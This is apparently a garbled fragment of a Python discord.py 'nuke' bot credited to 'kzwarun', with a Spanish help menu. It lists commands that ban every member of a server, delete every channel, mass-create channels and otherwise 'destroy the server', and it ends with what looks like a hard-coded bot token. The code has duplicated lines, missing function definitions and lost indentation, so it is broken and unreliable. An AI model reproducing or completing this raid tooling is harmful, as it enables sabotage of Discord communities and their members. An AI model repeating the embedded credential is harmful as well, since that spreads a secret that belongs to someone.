bot
bot
@bot.event
@bot.event
@bot.event
async def on_command_error(ctx, error):
if isinstance(error, commands.CommandOnCooldown):
msg = '**Aguanta emoción! Este comando tiene un cooldown de
{:.2f} segundos. **'.format(error.retry_after)
await ctx.send(msg)
@bot.command()
async def on(ctx):
await ctx.message.delete()
try:
await channels.delete()
print("deleted {}".format(channels))
except:
if ctx.guild:
while True:
@bot.command()
@commands.cooldown(1, 380, commands.BucketType.user)
if ctx.guild:
try:
asyncio.run_coroutine_threadsafe(guild.create_text_channel(name=channel_name),
bot.loop)
return 1
except Exception as e:
print(f'Error: {e}')
return 0
@bot.command()
@bot.command()
if isinstance(channel, discord.CategoryChannel):
await channel.delete()
await channel.delete()
await channel.delete()
tasks = []
task = asyncio.create_task(make_nuke(channel))
tasks.append(task)
await asyncio.gather(*tasks)
@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)
async def help(ctx):
await ctx.message.delete()
Embed = discord.Embed(title="亗 Sidest Gvng 亗",
description="None",color=0x7289da)
Embed.add_field(name="• $banall:", value="Banea a todos", inline=False)
Embed.add_field(name="• $channels:", value="Crea canales en el servidor.",
inline=False)
Embed.add_field(name="• $on", value="Destruye el servidor.", inline=False)
Embed.add_field(name="• $bypass:", value="Realiza un bypass en todos los
canales del servidor.", inline=False)
Embed.add_field(name="• $nuke:", value="Elimina todos los canales en el
servidor", inline=False)
Embed.set_author(name="Creado por kzwarun")
Embed.set_footer(text="Prefix: $")
@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)
await member.ban()
tasks = []
for member in ctx.guild.members:
task = asyncio.create_task(make_banall(member))
tasks.append(task)
await asyncio.gather(*tasks)
@bot.command()
@commands.cooldown(1, 380, commands.BucketType.guild)
if isinstance(channel, discord.CategoryChannel):
await ctx.message.delete()
isinstance(channel, discord.TextChannel)
isinstance(channel, discord.VoiceChannel)
tasks = []
task = asyncio.create_task(make_bypass(channel))
tasks.append(task)
await asyncio.gather(*tasks)
bot.run("MTI1Nzc1NTAzNzY5MDc1NzE0MQ.GnuC_0.8tHRvqpJhQ4LRYARhBu18enLfjgtnLaJ1yz5IM",
reconnect=True)
# By ,Kzwarun